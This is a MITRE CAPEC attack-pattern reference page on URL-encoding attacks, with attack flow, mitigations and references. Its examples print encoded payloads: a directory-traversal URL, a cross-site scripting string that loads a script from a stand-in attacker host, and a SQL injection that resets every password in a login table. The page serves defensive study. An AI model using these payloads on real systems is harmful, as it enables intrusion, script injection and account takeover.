Home > CAPEC List > CAPEC-72: URL Encoding (Version 2.6)  

CAPEC-72: URL Encoding

 
URL Encoding
Definition in a New Window Definition in a New Window
Attack Pattern ID: 72
Abstraction: Standard
Status: Draft
Completeness: Complete
Presentation Filter:
+ Summary

This attack targets the encoding of the URL. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc. The attacker could also subvert the meaning of the URL string request by encoding the data being sent to the server through a GET request. For instance an attacker may subvert the meaning of parameters used in a SQL request and sent through the URL string (See Example section).

+ Attack Execution Flow
Explore
  1. The attacker accesses the server using a specific URL.

Experiment
  1. The attacker tries to encode some special characters in the URL. The attacker finds out that some characters are not filtered properly.

Exploit
  1. The attacker crafts a malicious URL string request and sends it to the server.

  2. The server decodes and interprets the URL string. Unfortunately since the input filtering is not done properly, the special characters may have harmful consequences.

+ Attack Prerequisites
  • The application should accepts and decodes URL input.

  • The application performs insufficient filtering/canonicalization on the URLs.

+ Typical Severity

High

+ Typical Likelihood of Exploit

Likelihood: High

+ Methods of Attack
  • Injection
  • Protocol Manipulation
  • API Abuse
+ Examples-Instances

Description

Attack Example: URL Encodings in IceCast MP3 Server.

The following type of encoded string has been known traverse directories against the IceCast MP3 server9:

http://[targethost]:8000/somefile/%2E%2E/target.mp3

or using

"/%25%25/" instead of "/../".

The control character ".." can be used by an attacker to escape the document root.

Related Vulnerabilities

Description

Cross-Site Scripting

(Attack)
 

URL-Encoded attack:

http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2fwww.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e
(Result)
 

HTML execution:

<script src="http://www.badplace.com/nasty.js"></script>

[R.72.3][REF-35]

Description

SQL Injection

Original database query in the example file - "login.asp":

SQLQuery = "SELECT preferences FROM logintable WHERE userid='" & Request.QueryString("userid") & "' AND password='" & Request.QueryString("password") & "';"
(Attack)
 

URL-encoded attack:

http://target/login.asp?userid=bob%27%3b%20update%20logintable%20set%20passwd%3d%270wn3d%27%3b--%00
(Result)
 

Executed database query:

SELECT preferences FROM logintable WHERE userid='bob'; update logintable set password='0wn3d';

From "URL encoded attacks", by Gunter Ollmann - http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html

+ Attacker Skills or Knowledge Required

Skill or Knowledge Level: Low

An attacker can try special characters in the URL and bypass the URL validation.

Skill or Knowledge Level: Medium

The attacker may write a script to defeat the input filtering mechanism.

+ Probing Techniques

An attacker can manually inject special characters in the URL string request and observe the results of the request.

Custom scripts can also be used. For example, a good script for verifying the correct interpretation of UTF-8 encoded characters can be found at http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txt

Automated tools such as fuzzer can be used to test the URL decoding and filtering.

+ Indicators-Warnings of Attack

If the first decoding process has left some invalid or blacklisted characters, that may be a sign that the request is malicious.

Traffic filtering with IDS (or proxy) can detect requests with suspicious URLs. IDS may use signature based identification to reveal such URL based attacks.

+ Obfuscation Techniques

Sometime the percent escaping can be used to obfuscate the attack itself.

Alternative method of data encoding can be used.

Obfuscation technique such as IP address encoding can also be used (See reference section : "URL encoded attacks", by Gunter Ollmann).

+ Solutions and Mitigations

Refer to the RFCs to safely decode URL.

Regular expression can be used to match safe URL patterns. However, that may discard valid URL requests if the regular expression is too restrictive.

There are tools to scan HTTP requests to the server for valid URL such as URLScan from Microsoft (http://www.microsoft.com/technet/security/tools/urlscan.mspx).

Any security checks should occur after the data has been decoded and validated as correct data format. Do not repeat decoding process, if bad character are left after decoding process, treat the data as suspicious, and fail the validation process.

Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system. Test your decoding process against malicious input.

Be aware of the threat of alternative method of data encoding and obfuscation technique such as IP address encoding. (See related guideline section)

When client input is required from web-based forms, avoid using the "GET" method to submit data, as the method causes the form data to be appended to the URL and is easily manipulated. Instead, use the "POST method whenever possible.

+ Attack Motivation-Consequences
ScopeTechnical ImpactNote
Confidentiality
Read files or directories
Availability
DoS: resource consumption (memory)
Denial of Service
Confidentiality
Integrity
Availability
Execute unauthorized code or commands
Run Arbitrary Code
Confidentiality
Access_Control
Authorization
Gain privileges / assume identity
+ Purposes
  • Penetration
  • Exploitation
+ CIA Impact
Confidentiality Impact: HighIntegrity Impact: HighAvailability Impact: Medium
+ Technical Context
Architectural Paradigms
Client-Server
SOA
Frameworks
All
Platforms
All
Languages
All
+ References
[R.72.1] [REF-2] G. Hoglund and G. McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. February 2004.
[R.72.2] [REF-3] "Common Weakness Enumeration (CWE)". CWE-20 - Input Validation. Draft. The MITRE Corporation. 2007. <http://cwe.mitre.org/data/definitions/20.html>.
[R.72.3] [REF-35] Gunter Ollmann. "URL Encoded Attacks - Attacks using the common web browser". CGISecurity.com. <http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html>.
[R.72.4] [REF-36] T. Berners-Lee, R. Fielding and L. Masinter. "RFC 3986 - Uniform Resource Identifier (URI): Generic Syntax". January 2005. <http://www.ietf.org/rfc/rfc3986.txt>.
[R.72.5] [REF-37] T. Berners-Lee, L. Masinter and M. McCahill. "RFC 1738 - Uniform Resource Locators (URL)". December 1994. <http://www.ietf.org/rfc/rfc1738.txt>.
[R.72.6] [REF-38] "HTML URL Encoding Reference". W3Schools.com. Refsnes Data. <http://www.w3schools.com/tags/ref_urlencode.asp>.
[R.72.7] [REF-39] "The URLEncode and URLDecode Page". Albion Research Ltd. <http://www.albionresearch.com/misc/urlencode.php>.
[R.72.8] [REF-18] David Wheeler. "Secure Programming for Linux and Unix HOWTO". 5.11.4. Validating Hypertext Links (URIs/URLs). <http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/filter-html.html#VALIDATING-URIS>.
+ Content History
Submissions
SubmitterOrganizationDateSource
CAPEC Content TeamThe MITRE Corporation2014-06-23Internal_CAPEC_Team

More information is available — Please select a different filter.
Page Last Updated: December 04, 2014